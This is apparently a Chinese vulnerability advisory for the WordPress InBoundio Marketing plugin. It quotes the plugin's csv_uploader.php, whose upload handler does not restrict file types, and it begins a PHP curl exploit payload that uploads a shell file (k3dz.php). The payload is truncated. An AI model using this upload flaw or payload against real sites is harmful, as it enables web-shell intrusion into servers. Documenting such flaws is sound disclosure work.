WordPress InBoundio Marketing Plugin...

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

<ul><li>/admin/partials/csv_uploader.php<br></li></ul><pre class="">&lt;?php $ds = DIRECTORY_SEPARATOR; //1 $storeFolder = 'uploaded_csv'; //2 if (!empty($_FILES)) { $_FILES['file']['name'] = preg_replace('/[^A-Za-z0-9 _ .-]/', '', $_FILES['file']['name']); $_FILES['file']['name'] = preg_replace('/\s+/', '_', $_FILES['file']['name']); $tempFile = $_FILES['file']['tmp_name']; //3 $size = $_FILES['file']['size']; $targetPath = dirname( __FILE__ ) . $ds. $storeFolder . $ds; //4 $targetFile = $targetPath. $_FILES['file']['name']; //5 move_uploaded_file($tempFile,$targetFile); //6 $path = "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; echo dirname($path)."/uploaded_csv/".$_FILES['file']['name']." ".$size; } ?&gt; </pre><p>Csv_uploader.php没有做任何过滤,直接可以上传任意文件导致getshell。<br></p><p>利用payload:</p><pre class="">&nbsp;&lt;?php $postData = array(); $postData[ 'file' ] = "@k3dz.php"; #Shell_2_Exec ;) $dz = curl_init(); curl_setopt($dz, CURLOPT_URL,...

0%
暂无可用Exp或PoC
当前有0条受影响产品信息